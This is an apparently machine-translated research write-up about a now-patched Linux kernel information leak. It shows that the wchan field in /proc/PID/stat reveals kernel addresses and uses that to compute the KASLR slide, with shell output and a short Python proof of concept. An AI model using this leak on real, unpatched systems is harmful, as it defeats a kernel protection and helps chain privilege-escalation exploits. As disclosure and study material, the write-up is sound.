Uses Linux kernel information leakage to bypass the kALSR Protection Mechanism

Uses Linux kernel information leakage to bypass the kALSR Protection Mechanism

I. Preliminary description

Because it has been fixed in the Linux kernel, there is no concern about this vulnerability.

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328

As far as the researchers know, the mainstream releases do not enable the kALSR protection mechanism by default. Researchers hope that in the near future, the kALSR protection mechanism will become the mainstream of Linux releases and Android devices, and will become more robust, because of this, kernel vulnerabilities can be exploited only when information is leaked. At the same time, other mainstream operating systems, such as Windows or OSX/iOS, have adopted the kALSR protection mechanism. Why is Linux always slow?

In short, the ASLR protection mechanism is not the ultimate security solution. As described later in this article, we can bypass the kALSR protection mechanism through simple information leakage. You can read another article by der to learn about the kALSR topic and its limitations.

Researchers have seen @ grsecurity mention similar vulnerabilities on Twitter many times, so it is very likely that others are familiar with this vulnerability before me. However, the Linux kernel community is not very good at security, so information leakage is not concerned at all.

Ii. Text

Previously, the wchan field caught his attention when he was reading the/proc file system of the Android system.

WCHANwait channel-a specific process is waiting for the event address. This abbreviation appears in the ps command output with the-l option. You can read "/proc/process PID/stat" from the user space to obtain the wchan value of the process.

Therefore, the wchan value will return the Code address that the program is waiting. However, this description is rather vague. If the process is in the kernel address space, will it return a kernel space address for us?

The answer is yes, as shown below;

marco@marco-l:~/Documents$ cat /proc/2755/stat2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0The value 18446744071579755915 it’s obviously a kernel code location since in hex is:>>> hex(18446744071579755915)'0xffffffff810de58bL'kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to add a “kaslr” to the kernel command line to enable it, you can find how to add stuff into the kernel command line on Google.

After the system is started, run the PoC:

marco@marco-l:~/Documents$ python infoleak.py Leaking kernel pointers...leak: 0xffffffffb70de58b 18446744072485725579kASLR slide: 0x36000000

Iii. Working Principle

This PoC is very simple and can be said to be quite rough, but it runs fast. It is written in python, because only the fork process is required and then the content is read. As mentioned above,/Proc/process pid/stat"Wchan will reveal the address "wait" event of the Code in the kernel space, so our idea is:

(1) find a way to fix the "wait" position (2) disclose the ALSR value through wchan (3) Compare the leak value with the known non-offset value (3) output kernel Offset Value

About (1), we can fork a process and then let it sleep. We can read the "/proc/sleep process pid/stat" of the process. Because the process is in sleep state in the kernel address space, its value is also fixed. As for (2), we have discussed how to implement it. whcan is a field at a known position in stat. About (3), we can get the non-offset value by running the kernel without enabling the kALSR protection mechanism on the test machine.

Iv. PoC

You need to edit non_s1__value and run PoC on the target kernel that disables the kALSR protection mechanism to get the non-offset value. For example, modify it to the obtained hexadecimal value:0xffffffffb70de58b

import subprocessimport timeimport sysimport pprintPROC_PATH = "/proc/%d/stat"NON_SLID_VALUE = 0xffffffff810de58bdef main():    sleepp = subprocess.Popen('sleep 100000'.split())    time.sleep(1)    child_pid = sleepp.pid    content = None    with open(PROC_PATH %(child_pid), 'r') as f:        content = f.read()        if not content:        print 'Unable to read stat from child'        sys.exit(0)    elements = content.split()    print 'Leaking kernel pointers...'    leak = int(elements[34])    print 'leak: 0x%x %d' %(leak, leak)    print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE)if __name__ == '__main__':    main()

V. Postscript

If you have any errors, deviations, questions, and suggestions, contact the researchers at any time (leave the original author Twitter, please contact us through the wall ). Because the system does not enable the kALSR protection mechanism by default, the current defect is not very harmful, and researchers have not invested too much time and effort to verify all the situations and view the kernel code.

In terms of randomness, the offset of the kALSR seems very fragile, and the researchers have not specifically verified the number of digits of the random number. In other words, it is better to enable this protection mechanism on our devices. At least this is the beginning of security.

Key points:

Linux Kernel maintenance personnel should be more friendly to the security community. After all, we all like and use Linux and are willing to make it better.